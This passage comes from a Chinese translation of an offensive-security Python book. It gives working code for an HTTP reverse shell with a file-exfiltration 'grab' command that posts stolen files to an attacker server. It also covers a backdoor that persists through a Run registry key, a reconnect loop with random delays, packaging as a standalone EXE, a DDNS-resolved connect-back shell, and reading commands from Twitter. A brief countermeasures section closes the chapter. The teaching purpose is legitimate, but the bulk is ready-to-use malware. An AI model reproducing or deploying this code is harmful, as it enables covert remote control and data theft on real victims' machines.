方法发送,并且只会是单行的。然后,进程将休眠 3 秒,再次重复整个过程。time.sleep()
这部分只是为了保险——防止我们遇到数据包丢失或意外的错误。
此外,你可以通过使用 try
和 except
函数添加一些异常处理来增强这个脚本。
一旦我们在双方运行脚本,我们将在服务器端获得我们的 shell,并尝试在当前工作目录中进行导航。执行 ipconfig
,你将获得完整的 IP 配置信息。现在,错误地输入一个命令,将会抛出错误信息,如下所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00027.jpeg
最后,我们通过在服务器端执行 terminate
来终止会话。一旦我们这样做,我们将在客户端退出脚本,而在服务器端退出脚本时,我们需要按 Ctrl + C 来终止循环。服务器将通过显示 [!] Server is terminated
消息来终止。
和我们之前在 TCP 反向 shell 中做的类似,我们将进行一个从目标机器到攻击者机器的文件传输。
幸运的是,Requests
库支持仅用两行代码提交一个文件:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# HTTP Data Exfiltration Client
import requests
import subprocess
import os
import time
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
break # end the loop
# Now similar to what we have done in our TCP reverse shell, we check if file exists in the first place, if not then we
# notify our attacker that we are unable to find the file, but if the file is there then we will :-
# 1.Append /store in the URL
# 2.Add a dictionary key called 'file'
# 3.requests library use POST method called "multipart/form-data" when submitting files
#All of the above points will be used on the server side to distinguish that this POST is for submitting a file NOT a usual command output
#Please see the server script for more details on how we can use these points to get the file
elif 'grab' in command:
grab,path=command.split('*') # split the received grab command into two parts and store the second part in path variable
if os.path.exists(path): # check if the file is there
url = 'http://10.0.2.15/store' # Appended /store in the URL
files = {'file': open(path, 'rb')} # Add a dictionary key called 'file' where the key value is the file itself
r = requests.post(url, files=files) # Send the file and behind the scenes, requests library use POST method called "multipart/form-data"
else:
post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )
time.sleep(3)
在这里,我们将执行与 TCP 套接字中相同的过程。如果我们从攻击者机器收到一个 grab
命令,我们将把这个命令分成两部分,第二部分包含我们要抓取的文件的路径或目录。接下来,我们将检查该文件是否存在。如果没有,我们会立即通知服务器。现在,如果文件确实存在,请注意我们在 URL 中添加了 /store
,url = 'http://10.0.2.15/store'
,作为一个标识,表示我们将传输的是文件而不是普通的 cmd
输出,因为两者都使用 POST
方法传输数据。所以,比如说,当我们发送一个文件,假设是 x.doc
,我们将带有 /store
的 URL 发送它。另外,Requests
库使用了一种特殊的 POST
方法,叫做 multipart/form-data
,来提交或发送文件。
现在,在服务器端,我们导入了一个新的库叫做cgi
。这个库用于处理接收到的文件并将其存储在本地。以下是服务器端的脚本:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# HTTP Data Exfiltration Server
import BaseHTTPServer
import os, cgi
HOST_NAME = '10.0.2.15'
PORT_NUMBER = 80
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(s):
command = raw_input("Shell> ")
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(command)
def do_POST(s):
# Here we will use the points which we mentioned in the Client side, as a start if the "/store" was in the URL
# then this is a POST used for file transfer so we will parse the POST header, if its value was 'multipart/form-data' then we
# will pass the POST parameters to FieldStorage class, the "fs" object contains the returned values from FieldStorage in dictionary fashion
if s.path == '/store':
try:
ctype, pdict = cgi.parse_header(s.headers.getheader('content-type'))
if ctype == 'multipart/form-data' :
fs = cgi.FieldStorage( fp = s.rfile,
headers = s.headers,
environ={ 'REQUEST_METHOD':'POST' }
)
else:
print "[-] Unexpected POST request"
fs_up = fs['file'] # Remember, on the client side we submitted the file in dictionary fashion, and we used the key 'file'
# to hold the actual file. Now here to retrieve the actual file, we use the corresponding key 'file'
with open('/root/Desktop/1.txt', 'wb') as o: # create a file holder called '1.txt' and write the received file into this '1.txt'
o.write( fs_up.file.read() )
s.send_response(200)
s.end_headers()
except Exception as e:
print e
return # once we store the received file in our file holder, we exit the function
s.send_response(200)
s.end_headers()
length = int(s.headers['Content-Length'])
postVar = s.rfile.read(length )
print postVar
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print '[!] Server is terminated'
httpd.server_close()
如果我们收到带有/store
的POST
请求,并且内容类型为multipart/form-data
,则意味着我们将从目标机器获取一个文件,而不是通常的命令输出。然后,我们需要将接收到的文件、headers
和REQUEST_METHOD
传递给FieldStorage
类。FieldStorage
的返回值可以像 Python 字典一样进行索引,其中包含一个键和一个对应的值。例如,如果我们创建一个名为D
的 Python 字典,键为K
,值为v
,如下所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00028.jpeg
要获取值v
,我们只需要相应的键K
。在客户端,当我们提交文件时,我们附加了一个名为files ='file'
的标签或键。因此,我们将在服务器端使用这个标签或键来接收该文件。FieldStorage
将抓取键及其值并将它们存储在名为fs
的对象中。但我们只关心file
的值,这是包含我们发送的实际文件的标签或键。一旦我们获取到该值,就会将其写入一个名为1.txt
的占位符中。最后,我们退出该函数,以防止与正在进行的文件传输 POST 混淆。
要启动文件传输,执行以下步骤:
按照常规方式在两台机器上运行代码(运行 | 运行模块)
一旦我们获得Shell>
,继续执行dir
命令进行目录搜索,并尝试抓取一个文件,例如putty.exe
,通过运行grab
命令,grab*putty.exe
一旦我们在服务器端获得文件,将占位符重命名为putty.exe
并验证我们是否成功运行了putty.exe
且没有文件损坏。可以通过在命令提示符中执行以下命令来验证:
wine putty.exe
返回到 shell 并获取另一个文件,比如password.txt
,只是为了测试。
检查重命名占位符后是否可以读取其内容
尝试抓取一个不存在的文件;你会遇到错误,因为它根本不存在。
在本节中,类似于我们在 TCP 套接字中所做的那样,我们将导出并测试我们的 HTTP 反向 Shell 为 EXE,并在此之后进行测试。
在这里,您还需要在桌面上创建一个名为Toexe
的文件夹。如前所述,py2exe
二进制文件、py2exe
设置文件和HTTP_Client.py
脚本文件应该位于该文件夹中。
设置文件setup.py
将如下所示:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/
# HTTP Exporting to EXE Client Setup
from distutils.core import setup
import py2exe , sys, os
sys.argv.append("py2exe")
setup(
options = {'py2exe': {'bundle_files': 1}},
windows = [{'script': "HTTP_Client.py"}],
zipfile = None,
)
执行以下步骤以启动导出:
从编辑py2exe
设置文件开始,将Client.py
更改为HTTP_Client.py
,这是我们在目标端脚本的名称。
执行setup.py
脚本。
完成后,我们将进入dist
文件夹,并将HTTP_Client.py
复制到桌面。
确保服务器已经在运行。一旦我们获得Shell>
,使用dir
命令进入目录。
尝试抓取一个文件,比如grab*password.txt
,就像我们在前面的章节中做的那样。
在服务器端成功获取文件后,尝试其他简单命令,如cd
和whoami
。
尝试输入一个错误命令,检查是否能得到正确的错误信息。
最后,通过执行terminate
命令从 Shell 中终止会话。
你可以检查一下是否有HTTP_Client.exe
进程在我们的 Windows 机器上;一旦我们执行terminate
,该进程将从列表中消失,确认其终止。
保持访问是渗透测试中一个非常重要的阶段。假设我们的目标已经运行了我们的 Shell,所有事情都进行得很顺利。然后突然,目标机器关闭了电脑。这样的话,我们就会失去所有的访问权限。所以,这里关键的一点是,我们需要在目标机器重新启动或关机后能够继续生存下去。在继续之前,一些客户禁止对目标机器进行任何修改,因此在进一步操作之前,必须确保与你的客户设定好正确的期望。
如果允许进行修改,那么我们有三个执行阶段,如下所示:
Documents
文件夹。由于每台 PC 的用户名不同,我们需要弄清楚目标机器上以前的用户名是什么。
在第二阶段,将 Shell 复制到Documents
文件夹或Documents
目录后,我们需要添加一个注册表项,并将其指向Documents
文件夹中的复制文件。请记住,第一阶段和第二阶段仅应在首次将后门安装到目标机器后执行一次。
第三阶段是启动我们的反向 Shell,而不重复之前的两个阶段。
由于我们不知道当前的工作目录或用户配置文件,因此我们必须首先找出这些信息。这将在系统侦察阶段完成。
现在,为了详细了解我们持久性 Shell 的工作流程,请看看这个简单的流程图:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00029.jpeg
从逻辑上讲,我们将从系统侦察阶段开始,这一阶段的输出将包括两项内容。首先,我们将发现我们的 shell 当前的工作目录,并找出用户配置文件。第二个输出应该是目标路径。接下来,我们需要判断是否第一次在目标机器上运行。你可能会问,我们怎么做到这一点呢?答案要感谢 OS 库,它简化了我们的任务。为了实现这一点,我们只需检查脚本是否存在于目标路径中。如果存在,那么这就不是我们第一次到达目标机器,因为我们已经完成了前两个阶段。所以,我们将跳过第一和第二阶段,直接启动 shell。
然而,如果这是我们第一次在目标机器上运行,我们将把自身复制到目标路径,这就是我们在第一阶段所做的。然后,我们将添加一个新的注册表键,指向这个位置,这就是这里的第二阶段。最后,我们需要确保我们能够重新连接到 Kali 服务器。在接下来的两个部分中,你将看到所有步骤的实际操作,以更清楚地理解这个概念。为了便于理解,我们将把编码部分分成两部分。在第一部分,我们将使 putty.exe
持久化,在第二部分,我们将完成并将持久化脚本与之前的 HTTP 反向 shell 集成。
putty.exe
持久化在本节中,我们将使 putty.exe
程序持久化。你可以在 Google 上搜索并免费下载 PuTTY 软件。正如我们之前所解释的,我们的脚本将从执行系统侦察开始,这一阶段的输出将是当前的工作目录或用户配置文件的目标位置。
现在,让我们将这个阶段翻译成一段代码,如下所示——这些行将为我们执行侦察阶段:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Persistence
import os # needed for getting working directory
import shutil # needed for file copying
import subprocess # needed for getting user profile
import _winreg as wreg # needed for editing registry DB
# Reconn Phase
path = os.getcwd().strip('/n') #Get current working directory where the backdoor gets executed, we use the output to build our source path
Null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split('=')
#Get USERP ROFILE which contains the username of the profile and store it in userprof variable , we use the output to build our destination path
#Other way to discover the userprofile is via os.getenv('userprofile') , both will give the same result
destination = userprof.strip('\n\r') + '\\Documents\\' +'putty.exe'
#build the destination path where we copy your backdoor - in our example we choosed C:\Users\\Documents\
# First and Second Phases
if not os.path.exists(destination): # this if statement will be False next time we run the script because our putty.exe will be already copied in destination
#First time our backdoor gets executed
#Copy our Backdoor to C:\Users\\Documents\
shutil.copyfile(path+'\putty.exe', destination)
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",0,
wreg.KEY_ALL_ACCESS)
wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ,destination)
key.Close()
#create a new registry string called RegUpdater pointing to our
#new backdoor path (destination)
#If the script worked fine, out putty.exe should be copied to C:\Users\\Documents\ and a new registry key called 'RegUpdater' should be created
#and pointing to C:\Users\\Documents\putty.exe
os.getcwd()
函数将为我们获取当前工作目录。
现在,在 Desktop
上,我们创建一个名为 Persistence
的文件夹,里面放置我们为本节下载的 putty.exe
和之前提到的 Presistance.py
脚本。
让我们使用 Python 交互式 shell 或 Python 交互式窗口查看 os.getcwd()
这一行的输出:
打开命令提示符并导航到当前工作目录,即 Persistence。启动 Python 交互模式。
执行 import os
和 print os.getcwd()
。
我们在这里获取脚本的当前工作目录。这个结果将存储在路径变量中:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00030.jpeg
回顾 Persistence.py
脚本,我们在子进程中调用 set USERPROFILE
,并使用这一步骤获取 USERPROFILE
名称。根据这个信息,我们可以构建目标路径,即 Documents
文件夹。
在命令提示符中输入上面的 set USERPROFILE
变量。输出可能会有些杂乱,因此我们将分割输出,并将第二部分存储在名为 userprof
的变量中。分割标准或参数是基于 =
符号。根据这个标准,我们将把输出分成两部分。第二部分将存储在一个名为 userprof
的变量中。一旦我们知道了这些信息,就可以构建我们的目标路径,也就是 Documents
文件夹。
我们将 Documents
和 putty.exe
字符串附加在一起,得到目标的绝对路径。请注意,这里的
不再是未知的了。此时,我们已经成功完成了侦查阶段。接下来,检查是否是第一次进入这台计算机,我们将通过一个操作系统功能 path.exists()
来实现这个技巧。如果 putty.exe
不存在于 Documents
文件夹中,则意味着我们第一次在这里运行脚本,因为下次 PuTTY 会被复制,if
语句 if not os.path.exists(destination):
的结果将为 false
。由于这是我们的第一次,我们将复制 putty.exe
,它是源变量。
接下来,我们将在用户空间中添加一个注册表项。请注意,我们故意使用了用户空间,而不是机器空间。通过使用用户空间,即使没有管理员权限,我们的脚本也能正常工作。我们将注册表键字符串命名为 RegUpdater
(你可以稍后改成任何你想要的名称),并将其值指向我们的最终目标。在这里,我们没有 shell,只是 putty.exe
。因此,这部分内容将在下一节中讨论。在运行脚本之前,让我们先验证一下注册表数据库中是否与我们的脚本相关的内容。通过在 Windows 开始菜单搜索 regedit
打开注册表编辑器,路径将是 Computer\HKEY_CURRENT_USER|Software\Microsoft\Windows\CurrentVersion\Run
,如下图所示,目前除了 (Default)
条目外,里面没有任何内容:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00031.jpeg
现在,导航到 Documents
文件夹,确保没有任何事情需要做。最后,确保 PuTTY 软件本身可以正常运行,直接打开它。
我们现在就运行脚本。如果没有遇到异常或错误,我们将验证注册表数据库。你会注意到,我们的注册表键指向了 Documents
目录,而且 PuTTY 也被复制到了 Documents
目录:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00032.jpeg
现在,关闭所有内容并重启 VirtualBox。启动虚拟机后,如果一切正常,我们应该会看到 putty.exe
已经执行,并且 PuTTY 窗口应该会弹出。
在下一节中,我们将使我们的 HTTP 反向 shell 更加智能,并在内置函数中执行所有这些步骤。
在本节中,我们将制作之前编码的 HTTP 反向 shell。然后,我们将其导出为 EXE 文件,进行尝试并测试。现在,几乎所有的难点工作已经完成,在这一点上你应该已经熟悉代码的每个部分。
快速回顾一下,我们在这里做的事情是将 putty.exe
改为 Persistence.exe
,这将是我们的 EXE 文件名。目标部分将保持不变,也就是 Documents
文件夹。最后,我们像往常一样启动 HTTP 反向 shell。
这里的安装文件将如下所示:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/
# Persistence Setup
from distutils.core import setup
import py2exe , sys, os
sys.argv.append("py2exe")
setup(
options = {'py2exe': {'bundle_files': 1}},
windows = [{'script': "Persistence.py"}],
zipfile = None,
)
让我们尝试将这段代码导出为 EXE,文件名将是 Persistence
。完成后,它应该位于 dist
文件夹中。现在,我们将在非管理员账户上测试它,以展示我们的 shell 不需要管理员权限:
从控制面板创建一个标准用户。
创建一个快速密码。
将持久性文件复制到 C:
目录;这样我们在登录该非标准用户账户后,就可以从那里获取该文件。
注销并使用新的标准账户登录。
找到 Persistence
文件并将其复制到桌面。
和往常一样,在运行 shell 之前,验证注册表数据库中没有任何内容。这同样适用于 Documents
文件夹。
在 Kali 端设置我们的监听器,也就是运行我们的 HTTP 服务器。
完成后,注意到注册表项已成功添加,并且最终我们的文件能够成功识别用户名并将自己复制到 Documents
文件夹。
让我们验证一下我们的 shell 是否按预期工作。在 Windows 机器上启动任务管理器。
我们从在服务器端运行 ping 10.0.2.15
开始,这个地址是 Kali 机器的 IP。
使用 arp -a
检查 Windows 端的 arp
表,并确保这些命令正常工作。
成功终止进程后,我们将删除 Persistence.exe
文件,假设目标已经删除了 shell 文件并重新启动了客户端机器。
再次登录,如果你在 Kali 机器上看到 shell,我们的任务就成功了。
在之前的所有部分中,我们假设攻击者和目标机器的时间是同步的。这意味着我们的服务器一直处于启动和监听状态。现在,问题是:如果攻击者机器因某种原因离线或连接没有正确建立,会发生什么?那么,客户端上的后门将崩溃,并同时弹出一个错误信息框并生成一个文本文件,指示异常错误。
当前,我们的 Kali 机器没有在任何端口上监听。所以,如果攻击者发起 TCP SYN 请求与我们建立连接,由于端口关闭,我们的 Kali 机器将以 TCP RST 响应。现在,让我们快速看一下数据包级别:
通过执行 sudo wireshark
在攻击者机器上启用 Wireshark,你可以看到我们的脚本没有在那里运行。
启动新的实时捕获
将过滤器设置为 TCP
在 Windows 机器上登录
由于我们没有监听端口80
,我们正在回复 TCP RST,正如以下截图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00033.jpeg
同时,在目标端,我们的脚本会崩溃并抛出异常或日志信息。进入日志文件,你会看到它显示连接已中止,因为目标机器主动拒绝了连接,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00034.jpeg
使用admin
帐户登录,我们已安装了 Python 编译器。因此,我们将通过创建一个带有异常处理程序的无限循环来解决此问题,如下所示:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Tunning
import os
import shutil
import subprocess
import _winreg as wreg
import requests
import time
...
#Last phase is to start a reverse connection back to our kali machine
import random
def connect():
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
return 1
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data=
'[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )
time.sleep(3)
while True:
try:
if connect()==1:
break
except:
sleep_for = random.randrange(1,10)
time.sleep( sleep_for )
#time.sleep( sleep_for ) #sleep for a random time between 1-10 minutes
pass
如你所见,一个名为connect()
的新函数已添加到脚本中。因此,使用异常处理器,无论是什么原因,如果在初始化连接时遇到异常,我们将暂停 1 到 10 秒之间的随机时间,然后再尝试连接。在实际场景中,你需要更有耐心,将时间延长至 1 到 10 分钟。最后,我们传递异常,而不是抛出异常。现在,问题是:如何终止进程,因为我们有两个无限循环?由于单独的break
命令无法完成任务,解决方法是,如果我们终止,那么整个函数将被中断,并保留一个值1
。如果连接函数保留了1
的值,那么我们将中断第二个循环,这样就能最终终止进程。
现在,让我们快速尝试并测试这个修改:
如前所述,将脚本导出为 EXE
确保Documents
文件夹和注册表项为空
双击dist
文件夹中的Persistence.exe
并运行脚本
当我们在这里运行脚本时,注意到目标一直在尝试连接我们,直到我们运行服务器,连接尝试的时间会在 1 到 10 秒之间,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00035.jpeg
现在,一旦我们在服务器端启动监听器,完成三次握手,并从目标接收到GET
请求,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00036.jpeg
检查注册表项是否存在,脚本是否已复制到Documents
文件夹。最后一个要测试的事情是终止进程是否有效。Ping 10.0.2.15
并执行terminate
。你会看到Persistence.exe
已从 Windows 任务管理器中消失。
如我们之前所解释的,我们通过创建一个子进程并将命令传递给该子进程来创建了一个 shell。现在,关键是有些命令无法通过这种技术正常工作,例如 cls
和 clear
命令,这两个命令在 shell 中都无法执行。举个例子,假设我们能够将 shell 获取到客户端 PC,然后我们发现有某种 Telnet 或 FTP 服务器连接在同一内部网络上。不幸的是,我们无法通过我们的 shell 使用操作系统内置的 Telnet 客户端,这是因为一旦我们这样做,服务器会提示我们输入用户名和密码;这就是所谓的交互式方法,而 shell 无法处理这类交互。
一种解决方案是使用一个特殊的 Python 库,叫做 Pexpect。Pexpect 允许您的脚本像人类输入命令一样与应用程序进行交互。最后但同样重要的是,在将命令发送给目标之前,务必先在 VirtualBox 中本地测试该命令。
这里有几个要提到的要点。首先,我们遇到了明文传输的问题。现在,我们所有的流量和文件传输都是明文传输。这意味着任何 IPS 或网络分析器都能轻松捕捉到我们的命令,并且可能会阻止该连接,或至少会向系统或 SOC 团队发出警告。现在,在第四章《抓住我吧!》中,我们将通过构建自定义的 XOR 加密来解决这个问题,确保攻击者与目标机器之间的所有流量都进行加密。
第二个要点是:如果黑客的 IP 地址发生动态变化怎么办?假设黑客位于 ADSL 或代理后面,每次连接到互联网时,IP 地址都会发生变化。记住,我们已经将目标配置为连接到固定的 IP 地址,最终连接将会失败,因为该 IP 地址将不再有效。
在本节中,我们将看到如何保护自己免受本章中解释的攻击。现在,如果我们思考一下:攻击者如何能够首先接触到我们的内部主机呢?嗯,我们依赖社会工程攻击以及客户端攻击来实现这一点。这里的主要防御关键是从保护人员开始,因为他们是整个系统中最薄弱的环节。因此,你必须开始定期保护你的员工,并加强管理执行。其次,你不应该依赖于杀毒软件、沙箱或 VMware,因为现代恶意软件具有内置机制来保护自己免受检测。此外,你应该远离任何可疑软件,尤其是破解文件。在安装任何软件之前,如果是合法软件,使用 MD5 或 sha1 算法验证文件完整性。如果可能的话,使用数据泄漏防护(DLP)来检测终端或网络传输路径上的任何文件传输。此外,作为最佳实践,你可以安装称为基于主机的入侵检测系统(HIDS)来收集操作系统日志,并注意操作系统日志上发生的任何修改。如果可能的话,创建一个白名单,并限制哪些进程被允许在操作系统上运行。在安全意识培训中,始终告知非技术人员向网络安全团队、安全操作员或分析员报告任何钓鱼邮件或可疑文件。
在本章中,我们首先准备了攻击者和目标机器,然后开始学习和编写 TCP 和 HTTP 反向 shell。对于每个反向 shell,我们研究了数据泄露和将 Python 脚本导出为.exe
,这使得攻击独立于 Python 编译器。我们学会了如何使连接持久化。我们还研究了调整连接尝试和防范我们学到的攻击的对策。
在下一章中,我们将涵盖 DDNS、交互式 Twitter、对策、复制 Metasploit 屏幕捕获、目标目录导航以及集成低级端口扫描器。
在上一章中,我们创建的后门问题在于,如果攻击者的 IP 地址发生变化,我们没有内建机制来通知目标它应该连接到新的 IP 地址。本章将介绍一种方法,即使 IP 地址发生变化,你也可以为你的攻击者机器保留一个固定的预定名称。
本章将涵盖以下主题:
动态 DNS
与 Twitter 交互
模拟 Metasploit 的屏幕捕捉
模拟 Metasploit 搜索内容
集成一个低级端口扫描器
现在,我们将在这里讨论的其中一种方法是动态 DNS。假设攻击者的 IP 地址在第 1 天是 1.1.1.1
,然后在第二天,我们得到一个 IP 地址 2.2.2.2
。那么,我们的目标如何知道新的 IP 地址呢?答案就是动态 DNS(DDNS)。它是一种方法,可以在 DNS 服务器上为你保留一个唯一的名称。当保留的名称是固定的时,每次你更改公共 IP 地址时,相关联的 IP 地址也会变化。为了演示,我们将使用 noip.com。它提供了免费的动态 DNS 服务。因此,我之前已经保留了一个名为 pythonhussam.ddns.net
的名称。所以,在目标端,我们不再在脚本中硬编码 IP 地址,而是对这个名称进行 DNS 查询,然后获取 IP 地址来建立连接。现在,你可能会问:当攻击者的 IP 地址发生变化时,如何通过 noip.com 知道新的 IP 地址并更新其 DNS 记录?答案是通过一个软件代理,它应该安装在我们的 Kali 机器上。该代理会连接到 noip.com 的服务器,并通知它们我们的新 IP 地址。
为了节省时间,你可以在 noip.com 创建一个免费账户。这个过程应该非常简单直接。然后,预定一个你选择的名称,接下来的章节中,我们将会在 Kali Linux 上安装No-IP 代理,并修改我们之前的 TCP 反向 Shell 版本中的代码,以解析pythonhussam.ddns.net
的 DNS 查询,这将是我们为演示目的保留的名称。
在这一部分中,我们将从在 Kali Linux 机器上安装 No-IP 代理开始。确保我们的 Kali 机器已连接到互联网,以便下载和安装代理软件:
/usr/local/src/
:cd /usr/local/src/
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
tar xf noip-duc-linux.tar.gz
cd
进入我们刚刚提取的 noip
文件夹:cd noip-2.1.9-1/
make install
所以,此时,它会提示你输入在 noip.com 网站注册时使用的 email
和 password
。我将在这里输入我的电子邮件地址。现在我们可以看到 pythonhussam.ddns.net
已经注册到我们的账户,并且一个新的配置文件已经创建:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00037.jpeg
现在,让我们跳转到目标机器。在 Python 中,进行 DNS 查询非常简单。只需要一行代码来解析 IP 地址,我们将使用 socket.gethostname
或 socket.gethostbyname
来完成,如下代码所示:
'''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read no-ip.com terms and conditions carefully.
Use it on your own risk.
'''
# Python For Offensive PenTest
# DDNS Aware Shell
import socket
import subprocess
import os
...
def connect(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 8080)) # instead of hardcoding the ip addr statically we pass our ip variable
...
def main ():
ip = socket.gethostbyname('pythonhussam.ddns.net') # We will use the os to send out a dns query for pythonhussam.ddns.net
print "Resolved IP was: " + ip # Please don't forget to change this name to yours :D
connect(ip) # we will pass the ip variable which contains the attacker ip to connect function
main()
然后,我们将结果存储在一个名为 ip
的变量中,它是攻击者机器的 IP 地址。现在,我们只需注释掉 connect(ip)
函数,并打印出结果,以确保我们的脚本在这里运行正常。所以我们将运行该模块,它会显示 IP 地址为 37.202.101
,如下所示:
>>>
Attacker IP is: 37.202.101.240
>>>
让我们回到攻击者机器,并通过在 Google 上搜索 what is my ip address
来验证我们的公网 IP 地址。如果一切顺利,我们将看到目标机器识别出的与攻击者机器的更新公网 IP 地址相同的地址。
所以,由于 IP 变量存储了我们攻击者的 IP 地址,我们将这个值传递到连接函数中,并使用这个值连接回攻击者的机器。
请注意,我们已经用一个名为 ip
的变量替换了 s.connect((ip, 8080))
中的静态 IP 地址。
现在,我们将讨论一种当前常用的技术:依赖于知名服务器来执行某些任务或传输信息。俄罗斯的恶意软件使用了这种技术。攻击者的做法是,他们通过自己的 Twitter 账户发送数据,并让目标在稍后解析它。所以,在攻击者的机器上,我们只是发送一个正常的推文作为命令到我们的 Twitter 账户。注意,攻击者与目标之间没有直接的通信,这正是其中的邪恶之处。稍后,目标将解析推文并执行该命令。这样做的好处有:
Twitter 是一个受信任的网站,且具有很高的声誉;很可能它是一个白名单网站。
这种类型的攻击非常难以检测,一个缺乏经验的安全团队绝对不会想到这些数据可能是恶意的——而我在这里的目标之一就是让你对这种恶意攻击有警觉。
在下一部分,我们将从 Kali 机器向我们的账户发送一个普通的 hello
字符串作为推文。在客户端,我们将解析这条推文,然后打印出结果。
现在,从技术角度讲,任何人都可以在不登录 Twitter 的情况下查看你的推文。我建议你阅读 FireEye 的报告,看看攻击者是如何利用这种情况的,www2.fireeye.com/APT29-HAMMERTOSS-WEB-2015-RPT.html
。
信不信由你,在五行 Python 脚本中,你将通过 HTTPS 连接到攻击者页面,检索 HTML 内容并解析它,最后从推文中提取数据。
为了演示,我在 Twitter 上创建了一个账户。我的个人资料名称是 @HussamKhrais
。
所以,我将从 Kali 机器登录到我的 Twitter 账户并发送一条推文,我们将看看从目标机器获取这条推文有多么简单。首先,让我们开始创建一条新推文(例如Hello from kali python
),然后从账户中登出。现在,让我们快速看一下在发布推文后创建的 HTML 页面,通过查看页面源代码。搜索并找到我们刚刚发布的推文。然后,如果我们稍微向左滚动一点,注意到 HTML meta 标签参数:
第一个参数name
的值是description
,第二个参数content
包含了我们的推文。现在,我们将使用这些 HTML 标签来解析 HTML,并最终提取推文。
Python 有一个叫做 Beautiful Soup 的库,这是一个非常著名的工具,用于解析 HTML 页面。你可以从以下地址下载:pypi.python.org/pypi/BeautifulSoup/
。
要安装这个库,只需导航到 Beautiful Soup 所在的目录,然后运行python setup.py
并进行安装。
让我们快速看一下代码,这是我们将在目标端使用的:
'''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read Twitter terms and conditions carefully.
Use it on your own risk.
'''
# Python For Offensive PenTest
# Tweets Grabber
from BeautifulSoup import BeautifulSoup as soupy
import urllib
import re
html = urllib.urlopen('https://twitter.com/HussamKhrais').read()
soup = soupy(html)
#Navigate to my twitter home page HussamKhrais, store the HTML page into html variable and pass it
#to soupy function so we can parse it
x = soup.find("meta", {"name":"description"})['content']
print x
#Here we search for specific HTML meta tags, please see the video to know how did i find these parameters :)
filter = re.findall(r'"(.*?)"',x) # After parsing the html page, our tweet is located between double quotations
tweet = filter[0] # using regular expression we filter out the tweet
print tweet
所以,使用urllib
或者 URL 库,我们将浏览到我的 Twitter 主页。一旦我们获取到 HTML 页面,就会把它存储到html
变量中。然后,我们将 HTML 页面或变量传递给soupy
函数。记得包含我们推文的 HTML meta 标签吗?我们将使用 Beautiful Soup 的find
函数查找它。所以,我们将寻找一个meta name
和description
的值。使用正则表达式,我们将进行最后的筛选,仅打印出引号之间的精确字符串,这基本上就是我们发送的推文。运行脚本时,你会看到我们返回了发送的相同推文。
所以,我们将稍微清理一下代码,删除print x
命令。我们将再次登录 Twitter 账户,并发送另一条推文。这一次,我们将推文内容设为We made it
。所以,在目标端,运行脚本时,我们应该能够看到最新的推文。
请记住,我们能够在没有任何登录或身份验证的情况下获取到推文。接下来的部分,你将看到如何在实际场景中使用这个信息或脚本。
在这一部分,我们将讨论针对与 Twitter 交互的恶意软件可能采取的对策。现在,请注意我说的是可能的对策,因为这并不是一件容易的事;这是因为以下原因之一:
阻止 Twitter
终止 SSL
